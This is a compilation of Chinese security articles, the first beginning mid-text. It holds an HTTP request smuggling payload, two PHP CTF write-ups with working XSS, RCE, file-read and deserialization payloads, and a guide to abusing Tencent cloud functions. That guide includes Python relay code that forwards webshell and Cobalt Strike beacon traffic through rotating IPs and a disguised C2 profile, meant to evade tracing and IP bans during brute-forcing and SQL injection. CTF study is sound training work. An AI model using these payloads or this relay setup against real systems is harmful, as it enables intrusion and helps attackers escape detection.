TE-CL,即当我们发送内含两个请求头的请求包时,前端服务器只处理Transfer-Encoding,而后端服务器忽略Transfer-Encoding头,只处理Content-Length请求头: POST / HTTP/1.1 Host: acae1fe41e622a9bc0c7189700950000.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Cookie: session=VfTG4xpWeu1NboBIfCyqsHiWb8UjNDGZ Content-length: 4 Transfer-Encoding: chunked 5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15 x=1 0 前端服务器对于这个请求来说,会处理Transfer-Encoding,读到0\r\n\r\n的时候,认为是读取完毕了,就是把他当作一个完整请求,但后端服务器只认Content-length: 4,这就导致GPOST成为了一个新的请求。 CL-CL CL-CL即两个Content-length,当两者的值不同的时候,会返回400错误。但如果服务器不严格按照规范,就会发生前端服务器按照第一个Content-length头的值处理,后端服务器按照第二个Content-length头的值进行处理 回到最初 因为我们的payload里有两个CL头,对应CL-CL的情形,这时候前后端都会各收到一次我们的请求包,因为服务器的不规范,虽然返回400错误,但是请求依旧发给了后端服务器,造成了WAF的绕过问题。
记一道2021浙江省赛的Web题
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前景: 刚刚结束的浙江省网络安全大赛,其中Web类的第二题考察了POP链以及原生类的利用,在比赛期间只构造了POP链、得到flag的文件名,但是并没有利用原生类将flag文件完整读出来。这篇文章将会把这个题涉及到的知识点复现一遍,并且给出这个题详细的WP。 原生类: 报错类 Error 在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。 例如,有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 当传入下方payload的时候,会产生XSS ?a=Error&b=<script>alert("Lxxx");</script> Exception 与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS。 ?a=Exception&b=<script>alert("Lxxx");</script> 这个时候可能就会有聪明又帅气的师傅们问了,那既然是会被PHP执行,那么可不可以往里面传一句话木马呢? 同样还是上方的测试代码,我们传以下payload: ?a=Exception&b=eval($_POST[1]); 可以看到,传入的一句话木马被原封不动的打印出来,因此在上方这种测试代码中,无法RCE。 不过如果将测试代码换一个写法,那么就可以RCE,我们将测试代码修改如下: <?php $a = $_GET['a']; $b = $_GET['b']; eval("echo new $a($b());"); 这个时候我们传入以下payload ?a=Exception&b=system('whoami') 这个时候虽然报错了,但是仍然可以RCE,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE。 遍历目录类 DirectoryIterator DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项 假设我们有以下代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 这个时候我们传参如下: ?a=DirectoryIterator&b=. 在页面中返回了一个点(真的是一个点,不是显示屏上的污渍) 这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议 ?a=DirectoryIterator&b=glob://flag* 那么这个时候又有聪明又帅气的师傅要问了,如果这个时候不知道flag文件名怎么办? 答案是:暴力搜索 ?a=DirectoryIterator&b=glob://f[k-m]* glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@到[都允许匹配,也就是匹配大写字母。 FilesystemIterator 同样的,如果DirectoryIterator类因为奇奇怪怪的原因被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多,这里就不过多赘述。 GlobIterator GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容 ?a=GlobIterator&b=f[k-m]* 读取文件类 SplFileObject SplFileObject类为文件提供了一个面向对象接口 说句人话就是这个类可以用来读文件,具体怎么读呢?下面做个测试。 同样还是这个测试代码: <?php $a = $_GET['a']; $b = $_GET['b']; echo new $a($b); 我们传payload如下: ?a=SplFileObject&b=flag.php 利用这个类可以将我们的flag.php文件读出来 不过有细心又帅气的师傅要问了,你这怎么就读了一行啊,还读了一个假的flag,你这SplFileObject保熟嘛? 确实,SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历,不过还有没有其他方法将其读取出来呢? 我们先看官方文档,看看SplFileObject类的__construct方法到底是怎么样的? 可以看到,要求我们传入的参数是一个文件名,参数是文件名的方法联想到了什么?还有哪些方法是需要传入文件名的?(require,include,file_get_contents,file_put_contents等等等等) 而这些方法都有一个共同点就是,可以用伪协议。 虽然官方文档上没有说(也可能是因为我没看到),但是我们还是可以大胆的猜想,SplFileObject可以使用伪协议。 因此我们传入payload: ?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php 可以看到,这个时候flag.php就被我们完整的读取出来了。 其余类 本质上不能说是其余类,不过在文章的后半部分会讲解今年浙江网安省赛其中一道web题,其余没有在这道题中用到的原生类我就不在这里赘述了,给个类名让师傅们参考参考。 ReflectionMethod ReflectionClass SoapClient SimpleXMLElement ZipArchive 2021浙江网络安全省赛Web2的WP 题目代码如下: <?php error_reporting(0); class A1{    public $tmp1;    public $tmp2;    public function __construct()   {        echo "Enjoy Hacking!";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2;    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1='1919810';    public $tmp2;    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1;    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2;    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1;    public $tmp2;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } if(isset($_GET['DASCTF'])) {    unserialize($_GET['DASCTF']); } else{    highlight_file(__FILE__); } 这道题的前半部分是POP链的相关内容,由于POP链不在这篇文章涉及到的知识点范围之内,因此就简略一点,直接给出我在做题的时候写的思路以及POC <?php class A1{    public $tmp1;    public $tmp2;    public function __construct()   { $this->tmp1 = new A3();        echo "Enjoy Hacking!"."<br/>";   }    public function __wakeup()   {        $this->tmp1->hacking();   } } class A2 {    public $tmp1;    public $tmp2;    public function hacking()   {        echo "Hacked By Bi0x";   } } class A3 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp2 = new A4(); }    public function hacking()   {        $this->tmp2->get_flag();   } } class A4 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A6(); }    public function get_flag()   {        echo "flag{".$this->tmp1."}";   } } class A5 {    public $tmp1 = "";    public $tmp2;    public function __call($a,$b)   {        $f=$this->tmp1;        $f();   } } class A6 {    public $tmp1;    public $tmp2; public function __construct() { $this->tmp1 = new A8(); }    public function __toString()   {        $this->tmp1->hack4fun();        return "114514";   } } class A7 {    public $tmp1="Hello World!";    public $tmp2;    public function __invoke()   {        echo "114514".$this->tmp2.$this->tmp1;   } } class A8 {    public $tmp1 ;    public $tmp2 ;    public function hack4fun()   {        echo "Last step,Ganbadie~";        if(isset($_GET['DAS']))       {            $this->tmp1=$_GET['DAS'];       }        if(isset($_GET['CTF']))       {            $this->tmp2=$_GET['CTF'];       }        echo new $this->tmp1($this->tmp2);   } } $a = new A1(); echo urlencode(serialize($a)); 得到部分payload: O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7Ds%3A4%3A 将上方的payload传入DASCTF参数即可 这个时候当字符串反序列化到A8这个类中,需要我们传入DAS以及CTF参数,其中关键代码如下: echo new $this->tmp1($this->tmp2); 因此我们先把flag文件名找出来,我们可以利用DirectoryIterator类结合glob遍历目录,得到flag文件名为flaggggggggggg.php ?DAS=DirectoryIterator&CTF=glob://flag* 得到文件名之后就读取文件,利用SplFileObject类结合伪协议读取flaggggggggggg.php文件 ?DASCTF=O%3A2%3A%22A1%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A3%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BO%3A2%3A%22A4%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A6%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BO%3A2%3A%22A8%22%3A2%3A%7Bs%3A4%3A%22tmp1%22%3BN%3Bs%3A4%3A%22tmp2%22%3BN%3B%7D 最终再将浏览器的回显进行base64解码即可得到flag
云函数(变相代理池)的三种常见利用
前言 之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。 云函数 云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性: 多出口 调用时创建执行 无需服务器VPS承载 防溯源连接Webshell 之前最好的是某安全攻防实验室公众号发布了一篇<论如何防溯源连接Webshell>,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式 云函数创建 选择自定义创建 函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel #!/usr/bin/env # -*- coding:utf-8 -*- import requests import json from urllib.parse import urlsplit def geturl(urlstr):        jurlstr = json.dumps(urlstr)        dict_url = json.loads(jurlstr)        return dict_url['u'] def main_handler(event, context):        url = geturl(event['queryString'])        host = urlsplit(url).netloc        postdata = event['body']        headers=event['headers']        headers["HOST"] = host        resp=requests.post(url,data=postdata,headers=headers,verify=False)        response={        "isBase64Encoded": False,        "statusCode": 200,        "headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},        "body": resp.text   }        return response 在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。 利用 我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址 https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php  然后vps端通过监控日志查看访问webshell的ip地址 通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变)  通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。 注入/目录爆破爆破防Ban 云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban 云函数创建 这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式) 项目地址:https://github.com/hashsecteam/scf-proxy  下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用 还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去 触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址 利用 首先客户端开启监听 ./client.exe -port 10086 云函数api地址 此时再通过dirsearch设置http代理的方式爆破VPS的目录  查看access_log可以看到爆破的ip地址分布 由于此次选择的是广州地区,于是访问的ip基本都是来自广州  也可以代理访问https网站 由此可以实现爆破目录以及Sqlmap的爆破不被Ban C2隐藏 通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求,该方法学习自狼组北美第一突破手师傅 云函数创建 与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context):    C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~    path=event['path']    headers=event['headers']    print(event)    if event['httpMethod'] == 'GET' :        resp=requests.get(C2+path,headers=headers,verify=False)    else:        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)        print(resp.headers)        print(resp.content)    response={        "isBase64Encoded": True,        "statusCode": resp.status_code,        "headers": dict(resp.headers),        "body": str(base64.b64encode(resp.content))[2:-1]   }    return response Cs可以定制Profile来更加隐匿流量这里使用如下的Profile set sample_name "kris_abao"; set sleeptime "3000"; set jitter   "0"; set maxdns   "255"; set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)"; http-get {   set uri "/api/getit";   client {       header "Accept" "*/*";       metadata {           base64;           prepend "SESSIONID=";           header "Cookie";       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Server" "Nodejs";       output {           base64;           print;       }   } } http-stager {     set uri_x86 "/vue.min.js";   set uri_x64 "/bootstrap-2.min.js"; } http-post {   set uri "/api/postit";   client {       header "Accept" "*/*";       id {           base64;           prepend "JSESSION=";           header "Cookie";       }       output {           base64;           print;       }   }   server {       header "Content-Type" "application/ocsp-response";       header "content-transfer-encoding" "binary";       header "Connection" "keep-alive";       output {           base64;           print;       }   } } 创建完后放到将api.profile放到服务端Cs上可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子 监听设置 生成木马,点击后上线 公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP 在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。
连异常报错也能拿到flag?
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言: 本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。 脸滚键盘打出来的函数也能执行? 没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。 比如,有如下PHP代码: <?php tian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗? 当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。 那么有没有办法让PHP正常执行这个程序呢? 有,那必须有,甚至只需要一行 <?php function tian(){} tian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。 这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢? 从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。 举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作: 举个最常见的函数: <?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。 至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢? 为什么我的对象打印不出来? 在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   } } echo new tian();这个代码报错如下: 这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。 因此将上方程序进行修改,修改后的代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   }    function __toString()   {        return $this->id;   } } echo new tian();这个时候,程序就可以正常执行了 这个时候我们修改一下代码: <?php class tian{    public $id;    function __construct($id)   {        $this->id = $id;   }    function __toString()   {        return $this->id;   } } echo new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码 代码执行如下: 程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo() 那么将这两个特性结合起来有什么用呢? 下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。 表演一个异常报错实现RCE 题目代码如下: <?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }关键代码为:eval("echo new $a($b());"); 首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类 我们先测试一下,传payload:?a=mysqli&b=phpinfo 这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。 因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。 其中PHP官方手册对这个类的__toString()描述如下: 这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢? <?php echo new Exception(system("whoami")()); 那就先执行命令,然后将执行命令的结果作为参数传给Exception 所以传payload:?a=exception&b=system("whoami") 这个即可RCE 除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。 举个例子: <?php echo new Exception("$_GET[1]");这个时候传:?1=<script>alert("XSS");</script> 是可以XSS 当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。